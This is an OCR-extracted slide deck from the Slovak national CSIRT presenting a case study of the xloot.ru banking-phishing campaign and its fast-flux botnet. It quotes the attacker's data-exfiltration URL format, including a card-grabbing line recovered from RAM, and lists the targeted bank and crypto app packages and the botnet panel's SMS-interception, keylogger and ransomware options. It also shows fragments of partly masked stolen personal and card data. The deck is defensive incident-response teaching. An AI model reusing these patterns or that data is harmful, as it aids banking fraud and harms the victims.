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DATA — AKTiVA, POKLAD SUCASNOSTI SK &/CERT
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DATA — UTOCNIK SK &/CERT
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DATA — TRIADA CIA, INCIDENT SK &/CERT

Availability

INCIDENT
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INCIDENT HANDLING — DEKOMPOZICIA NA FAZY SK &/CERT

DETEKCIA INCIDENTU

KLASIFIKACIA INCIDENTU
RIESENIE INCIDENTU
OBNOVA
POSTANALYZA

NARODNY

BEZPECNOSTNY
URAD

=




PRIPADOVA $TUDIA - XLOOT.RU SK &/CERT

 Komplexny kyberneticky bezpecnostny incident
e Anonymizované data
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PRVOTNE INFORMACIE A SITUACNY PREHLAD SK &/CERT

e Komunikacné kanaly CSIRT Network

* Prvotny injekt

Dears, Have you recently encountered with a phishing site xI00t.ru? It hosts a lot of forged pages of different

banks like Raiffeisen or Citibank. We see that not only xCountry users are affected, but some other countries too.
Have you seen anything like this?
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PRVOTNE INFORMACIE A SITUACNY PREHLAD

 Pociatocné indikatory kompromitacie loC

OK, firts of all you may want to check this out: hXXp://xI00t[.]Jru/inj/
Secondly, there is something like a talkback or C&C (not sure yet) on xpOOflux/[.]ru
Strangely, the IPs associated to the xI00t[.]Jru domain are rapidly changing somehow, we are ivestigating how
they do that.
So far we found:
213.X.X[.]71
X.183.X[.]180
151.X.82[.]X
X.138.X[.]150
77.X.21[.]X
5.X.140[.]X
51.X.183[.]X
197.X.X[.]249
X.224.174[.]74, 82.X.68[.]X
the IP 77.X.21[.]X appears in xp0Oflux[.]ru too
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PRVE KROKY SK &/CERT

Limitované mnozstvo informacii
— Doména xLOOT.RU
— Phishingovy obsah cieleny na bankovy sektor

e Potvrdenie pritomnosti skodliveho obsahu
 Posudenie rozsahu a kvality prevedenia

e Stanovenie moznych dopadov na kyberneticky priestor SR

e Zdielanie informacii s partnermi SK-CERT
e Zdielanie informacii s medzinarodnou CSIRT komunitou
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XLOOT.RU SK &/CERT
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XLOOT.RU SK &/CERT

s e Kvalitny vizual
Comicwalker -=.»-.-»-

| — Reklamny slider
— Bocné menu
— Konektor socialnych sieti
— Celkovy dojem z rozhrania

— Absencia responzivneho dizajnu

 Nekvalitny obsah
Malo aktivnych URL

— Velké mnozstvo nefunkénych URL ,,404 NOT
FOUND"
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XLOOT.RU — AKTIVNE URL SK &) CERT

e Presmerovanie na web KADOKAWA COMIC-WALKER.COM
e Promo udalosti COMIC-WALKER.COM

e Stranky zdielaju strukturu URL
— hXXps://comic-walker[.Jcom/contents/detail/KDCW _KS02000024010000 68

— hXXp://xI00t[.]Jru/contents/detail/KDCW_AM02200434010000 68/

e Je xLOOT.RU phishingom na COMIC-WALKER.COM?
 Je tovobec podstatné ak analyzujeme phishing cieleny na banky?
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XLOOT.RU — NEAKTIVNE URL SK &) CERT

 Dodatocné udaje o utocnikovi a kvalite technickej realizacie
e |nformacie o backend architekture
— Menej sofistikovany utocnik

— Mozno umyselne

Not Found

The requested URL contents detail KDCW _AM02200434010000_68' was not found on this server.

dpache’2.4.18 (Ubuntu) Server at loozot.ru Port 80
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Best practices

OVEROVANIE PRITOMNOSTI PHISHINGOVEHO OBSAHU SK &/CERT

User agent, Geolokacia

Best Practices

wget, curl, ...
Burp Suite, Telerik Fiddler, ...

VM, Screenshoty NEXt
Online scan 1
Exit

Rychlost, zadlohovanie vzoriek

Komplexné zhodnotenie kvality vizualu a technickej realizacie

CviCenie
e https://www.phishtank.com/developer_info.php
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HXXP://XLOOT[.JRU/INJ/ SK &/CERT

e Analytikov raj na zemi
— Vysokourovnovy pohlad

— Materidl, vela materidlu — rozsah, ciele, kvalita realizacie

Index of /inj

Name Last modified Size Description

2018-06-05 12:27
2018-06-05 12:33
2018-06-05 12:30
2017-12-16 12:44 28K
2017-12-16 12:46 25K
2017-10-0917:28 57K
2017-12-16 12:48 12K
2017-10-05 16:37 44K
2017-10-09 17:28 68K

2017-10-0917:01 12K
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HXXP://XLOOT[.JRU/INJ/ - MIRROR SK &/CERT

e Zalohovanie suborov (img, css, js, ...) a generovanych HTML

— Talkback server agregujuci data

e (QOchrana na strane servera
e Viacero IP, GEO, delay

e 206,1 MB - 15291 suborov
e Datum modifikacie
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HXXP://XLOOT[.JRU/INJ/ SK &/CERT

e PHP skripty
— Generovanie prihlasovacich rozhrani
— Mechanizmus riadenia kampane? (setURL.php, getStatus.php, config.php)

amazon, at, au, bootstrap, ca, css, cz, de, font-awesome, GoogleMail, grabers, grab_pay, hk, hu, il,
Images, in, jp, Js, ke, mails, nl, nz, paypal, pl, ro, shop, tr, uk, us
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HXXP://XLOOT[.JRU/INJ/ - CIELE, AGREGATOR SK &/CERT

e Bankyv AU, CZ, DE, ES, JP, NL, NZ, PL, RO, TR, UK,US
e Popularne online sluzby ako Gmail, Zebpay, Paypal, Facebook

e Blockchain sluzby

e Zameranie na mobilné zariadenia
— jednoduchsia struktura rozhrani
— Mensia pozornost pouzivatela na detaily

e InSpekcia zdrojového kédu — talkback server na hXXp://xp00flux.ru

e Agregator dostava informacie v jednotnom formate
— hXXp://xp00flux[.]Jru/private/add_inj.php?p=[IMEI]|INJECT_ID |SERVICE |[DATA]|...| [DATA]

NARODNY
BEZPECNOSTNY

=

URAD



HXXP://XLOOT[.JRU/INJ/ SK &/CERT

[* Closes window of inject */
.. , [* Executes factory reset of device */

e Kreativite sa medze nekladU  j« Transmits data to server */
[* Write to console if argument function is not defined */
[* Returns ISO XX code of current country */
[* Returns manufacturer of device */
[* Returns model of device */
[* Returns Google Account (E-mail address) */
[* Returns IMEI code of device */
) ) /* Returns IMSI code of device */
— Android WebView /* Returns ISO XX language code of current country */
_ . [* Returns package name of current opened application */

SRS [* Returns current version of SDK */
[* Return whether Android is defined */
[* Mute everything volume */
/*
* Shows message in dialog window
* If @packageName is not empty bot will start @packageName
*/
[* Shows error if server did not answer */
/[ Saves inject's data in memory of device
[* Sends form with step's number stepID and shows form stepID + 1 */
[* Hides block with error and shows form for enter inject's data */

— Utoénik vs. Analytik

— Analyza komentarov
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HXXP://XLOOT[.]JRU/INJ/ - SVK SK &/CERT

e “Slovenska sporitelna” - cz_sksporoapps.php

)

e Chybajuce core komponenty v “cz/cz_sksporoapps’
e GEORGE

e Ndarodné CSIRTy by mali preskimat svoje kampane
— Casova perspektiva
— Nova vs. DIhodobo beziaca kampan

-

Prihlasenie

Prihlasovacie meno:

Heslo / Autorizacny kod:
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JAZYK A SYNTAKTICKA ANALYZA UTOCNIKA SK &/CERT

e Nastroj na extrakciu komentarov

e Rezonuje vyraz ,inject” (hypotéza o suvise s mobilnymi aplikaciami)

e Skripty na validaciu obsahu

e Strukturovany kod s kvalitnymi komentarmi

e Obcasné komentare v azbuke (testovanie, debug, dekompozicia do faz)

// alert('Bo3HuKna owubka: '+ xhr.responseCode);

// alert(VBV);

g_oForm.setAttribute('action',g_sFAct); // ycmaHasausaem y ¢popmbi yps aOMUHKU
__insHiddenField(document, g_oForm, 'code’, g_FrmCode); // nonyyaem id 6oma

/*****************************************************************************************nEPBb”ZLUArﬁ/
/*****************************************************************************************BTOPCUZLUArﬁ/
/*****************************************************************************************TPETMP?Uﬁqrﬁ/

/*****************************************************************************************qETBEPTbUZLUArﬁ/
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JAZYK A SYNTAKTICKA ANALYZA UTOCNIKA SK &/CERT

e Kreativite sa medze nekladu
e Zlozvyk utocnika
e Moznosti dalsej identifikacie

// all data wil be added to form id="mf" in the and of each step and fucntion hope _work wil submit this
form.

//can be removed if bot have native loader gif on the end of form submit!
//This functon wil submit form id="mf" which is in the botom on the document before scripts. All varable
like bot id or app name and it action attr must be set there before submit
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TAKEDOWN DOMENY SK &/CERT

e ABUSE kontakty
e Whois a GDPR (Maj 2018)

e Stanovenie IP adresy asociovanej s doménou xLOOT.RU
— dig, host

domain:

state: REGISTERED, DELEGATED, UNVERIFIED

person: | Private Person
registrar: | RU-CENTER-RU
admin-contact: | https://www.nic.ru/whois
created: | 2018
paid-till: | 2019
free-date: | 2019
source: | TCI

e Zoznam IP adries sa dynamicky meni
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FASTFLUX SK &/CERT

)

e technika ukryvania phishingového obsahu
prostrednictvom rozsiahlej siete .- 2) GET rediracted

kompromitovanych zariadeni slGZiacich ako Do retormd
proxy ,

* velké mnozstvo IP adries asociovanych s
doménovym menom

3) Response/conten

e asociovane IP adresy sa rychlo menia flux.xample.com

prostrednictvom meniacich sa DNS
Zaznamov
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FASTFLUX SK &) CERT

)

e Zber IP v nahodnych casovych intervaloch

>omamnd & Control Center 5 z) F?ET redirected
. , ). esponse
e Automatizovany tool na zber datasetu IP \“’mm
adries :

— Kazdu minutu po dobu monitoringu
— Data mining

— Stanovenie peridédy zmeny IP

— Kontaktovanie ABUSE | 3) Response/conten

flux.example.com
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FASTFLUX - DATASET SK &/CERT
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FASTFLUX - ZAVERY SK &/CERT

e Stovky unikatnych IP adries (pravdepodobne botnet)

e Periodicka zmena mnoziny IP asociovanych s xXLOOT.RU

— 03:39 az 08:55
— 96666696696666696696666696696666696696639669669

e SHODAN, ZOOMEYE
— Heterogenita infikovanych zariadeni (routre, web servery, webkamery, ...)
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FASTFLUX - ZAVERY SK &/CERT

o Statistika za 8 dni

— Po 8 drioch od detekcie doména prestala fungovat
 CSIRT komunita? Uto¢nik?

— 333 unikatnych uzlov
— 47 statov
— Najpocetnejsie Rumunsko (91), Bulharsko (74), Madarsko (27), Maceddnsko (21), Pol'sko (15)
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FASTFLUX - ZAVERY SK &/CERT

o Statistika za 8 dni

— Po 8 drioch od detekcie doména prestala fungovat
 CSIRT komunita? Uto¢nik?

— 333 unikatnych uzlov
— 47 statov
— Najpocetnejsie Rumunsko (91), Bulharsko (74), Madarsko (27), Maceddnsko (21), Pol'sko (15)

e Slovensko
— 1 1IP adresa
— ldentifikacia a kontaktovanie ABUSE (poskytovatel internetového pripojenia)
— Zaprasené Windows 7 PC v kotolni zdravotného zariadenia
— lzolované od core siete zdravotného zariadenia
— Zabezpecenie dat a vzoriek potrebnych na ucely forenznej analyzy (winpmem)
NARODNY

BEZPECNOSTNY
URAD

=




ANALYZA FASTFLUX UZLA SK &/CERT

e Aktivne zapojenie do siete botnet
— cca 40000 TCP spojeni na port 80
— cca 250 TCP spojeni na port 443

e Obraz RAM (volatility)

— Fragmenty phishingovych stranok (xLOOT.RU a iné)
* Jocation.replace(URL__+'/private/add_inj.php?p="+ IMEI + '[grabing_mini['+ cc+'["+exp +'['+ cvv
+[1');
— Kryptomining, unik citlivych informacii, prihlasovacie mena a hesla
e cpuminer-btverl.exe, minergate-service.exe, minergate.exe
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ANALYZA FASTFLUX UZLA SK &/CERT

e Funkcionalita uzla ako sietové proxy
— Zobrazovanie phishingového obsahu obetiam
— Utoénikove spojenie s botnet — $tatistika, filtrovanie uzlov

e Pristup utocnika na DARKNET obchod s osobnymi udajmi
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FRAGMENT - ADMINISTRACIA BOTNET, KAMPANE

d='check set' name='check set[]' value='1050"'
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SKG/CERT

.applisp.app</input></br>
-10px;'>(KE)com.barclays.ke.mobile.android.ui</input></br>
-10px;'>(NZ)nz.co.anz.android.mobilebanking</input></br>
-10px;'>(NZ)nz.co.asb.asbmobile</input></br>
-10px;'>(NZ)nz.co.bnz.droidbanking</input></br>
-10px;'>(NZ)nz.co.kiwibank.mobile</input></br>
-10px;'>(PL) com.getingroup.mobilebanking</input></br>
-10px;'>(PL)eu.eleader.mobilebanking.pekao.firm</input></br>
:-10px;'>(PL)eu.eleader.mobilebanking.pekao</input></br>
-10px;'>(PL)eu.eleader.mobilebanking.raiffeisen</input></br>
-10px;'>(PL)pl.bzwbk.bzwbk24</input></br>
-10px;'>(PL)pl.ipko.mobile</input></br>
-10px;'>(PL)pl.mbank</input></br>
-10px;'>(RO)com.advantage.RaiffeisenBank</input></br>
-10px;'>(RO)hr.asseco.android. jimba.mUCI.ro</input></br>
-10px; '> (RO)may.maybank.android</input></br>
-10px;'>(RO)ro.btrl.mobile</input></br>

-10px;'> (Crypt)piuk.blockchain.android</input></br>
-10px;'>(Crypt)com.coinbase.android</input></br>
-10px;'>(Crypt)com.unocoin.unocoinwallet</input></br>
-10px;'>(Crypt) com.localbitecoinsmbapp</input></br>
-10px;'>(Crypt) zebpay.Application</input></br>

id='check record' value='l' style='margin-top:0px;'> Record Sound </input>
type='text' name='id seconds' id='id seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding:

1px solid #cce; border-radius:
id="chkinterceptSMS'
value='1"
id='chknetwork'
value='1"

id="chkhidesSMS'

id='chkgps’

value='1"'

value="1"

style="margin-top

8px'></input> Seconds</br>
style="margin-top:0px;'> Interception SMS</input></br>
style="margin-top:0px;'> Hidden SMS interception</input></br>

:0px;'> Geolocation NETWORK</input></br>

style="margin-top:0px;'> Geolocation GPS</input></br>

id='check foreground' value='l' style='margin-top:0px;'> Foreground Service</input></br>
id='check keylogger' value='l' style='margin-top:0px;'> Keylogger</input>
type='text' name='text imei set' id='text imei set'style='visibility:hidden'/>
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FRAGMENT — ADMINISTRACIA, RANSOMWARE, IMEI

Encryption Key
<input ="text" name="text enc key" id="text enc key"
28px;width: ng: 5px, font-family: 'Consolas'; border:

le="color: #337ab7;
1lpx solid #ccc; input>

#337ab7; background: #1D1F24; width: 100%;
"input>

e="text enc key" id="text amount"
1px solld #cce ;"

<input type="text"
100%; padding: 5px; font- famlly
Bitcoin
<input type= name="text enc key" id="text btec"
100%; padding: 5px; font-family: 'Consolas'; border:
Decryption Key
<input y name="text dec key" id="text dec key"

100*: padding: 5px, font-family: 'Consolas'; border:

'Consolas'; border

e="color: #337ab7; background: #1D1F24; width:
lpx solid #ccec;" input>

"color:

lpx solid #eecc;"></input>

<input « > 3 e 1¢ ='yvisibility:hidden'’
"text' na value : e='visibility:hidden'

<input data- 1 047?9|us i i 'visibility:hidden'
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<input «
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ostoffic 1 URL'
= 409200e218d

'visibility:hidden'
7 v151b111ty hldden'/
c091a|gb' i
e= v151b111ty hidden
i i 'visibility:hidden'

'visibility:hidden'

'visibility:hidden'

background: #1D1F24; width: 100%; font-size:

font-size:

100%; font-size:

#337ab7; background: #1D1F24; width: 100%; font-size:

visibility:hidden'/

SK &) CERT

13; height:
13; height: 28px;width:
13; height: 28px;width:

13; height:

nput data-role="none'
nput data-role="none'
nput data-role="none'
put data-role='none' t
put data-role='none'
put data-role='none'

nput data-role="none'
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FRAGMENT — OBCHOD S OSOBNYMI UDAJMI SK &/CERT

 Fragmenty obnovené z pozostatkov v RAM infikovaného zariadenia (bez stylesheetov a
skriptov)

e 228 zaznamov obchodu s kreditnymi kartami
e 91 zaznamov obchodu s osobnymi udajmi

56 kompletnych profilov (prevazne obCanov USA)
— meno, adresa, teleféon, email, Cislo kreditnej karty
— RoOzne indikatory (Dead, Time Off, Live)
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OBCHOD S OSOBNYMI UDAJMI

5

SK &) CERT

23

1395930

UNITED KINGDOM - Wiltshire

14/04/2018 USA - SUPERVALID

RDP USA WINDOWS 2008 HACKED BRUTE FeNIX
o mowssmamTE oo
RDP USA WINDOWS 2012 HACKED BRUTE FeNL\

Pot(Unpald} Free Account / Gender: Male / Zip Code: 53546 / DOB: July-2-1978 / Age: 40

FRESHSELLER
POF Account - Unpaid , Gender: Male , Age: 22 , Profile: www.pof.com/viewprofile.aspx?profile 1d=51355639 [Live-Accounts
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OBCHOD S OSOBNYMI UDAIMI !? SK &/CERT

43576009: 2|2019|UNITED STATES|Teresal| Deqd
121184|5208676444 b

41534220 08|2019|014|UN S S Time
226|Phoenix|AZ|85712|bird el985(@ Off

43130755

Swisher (@gmail.com|(303) 396-

Zaujimaveé moznosti analyzy RAM
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FRAGMENTY SK &) CERT

Fastflux uzly dtoénik moéze vzdialene prekonfigurovat

e Riadiace direktivy pre BOTNET vo formate JSON
— Konfiguracia HTTP serverov
— Adresy backendovych serverov
— Doménové mena
— TLS certifikaty s privatnymi kldcémi

e Unikatna riadiace struktura

e Hypotéza
— Jedna sa o modifikaciu exitujuceho alebo novy druh botnetu?
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PODOZRIVE PROCESY - MALWARE SK &/CERT

e Malware
— Ochrana pred reverznym inzinierstvom
— Spustané pri spusteni operacného systému

e Chranené komercnym softwarom VMProtect

— Kontaktovanie spoloCnosti

e |dentifikacia presného skriptu pouzitého na infekciu pocitaca
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ZIVY PROCES SK &) CERT

S povolenim majitela zariadenie docasne
ponechané aktivne

 Pozorovanie aktivity utoCnika a zber
dodatocnych udajov

e (Opakované upozornenia od zahranicnych
partnerov

 Vypnutie zariadenia a jeho obnova do
povodného stavu
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KOOPERACIA SK &/CERT

e Zdielanie loC a zisteni s CSIRT komunitou

e Komunikacia s velkymi prevadzkovatelmi
— passiveDNS
— botnet uz dlho monitoruju

* |Informovanie zodpovednych organov zahranicnych partnerov zasiahnutych unikom informacii
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ZHRNUTIE SK &/CERT

Trividlne incidenty mo6zu byt v skutocnosti komplikované
e Pohotova reakcia

e Analytické, Casto out-of-the-box myslenie analytika
 Navrh vlastnych nastrojov, kreativne myslenie

e Komunikacia a vymena informacii na narodnej i medzinarodnej urovni

e Timova praca

KONTINUALNA POTREBA ZLEPSOVAT SA
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NARODNY CSIRT SK &/CERT

I?p_
A .

e Zodpovedny za ochranu narodneho kybernetického priestoru
e Ak regulovany subjekt nema CSIRT, je zakaznikom Narodného CSIRT
 Na narodnej urovni

— RiesSi kybernetické bezpecnostné incidenty

— Buduje bezpecnostné povedomie

— RieSi medzinarodnu spolupracu

— Spolupracuje s ostatnymi jednotkami CSIRT na Slovensku a v zahranici
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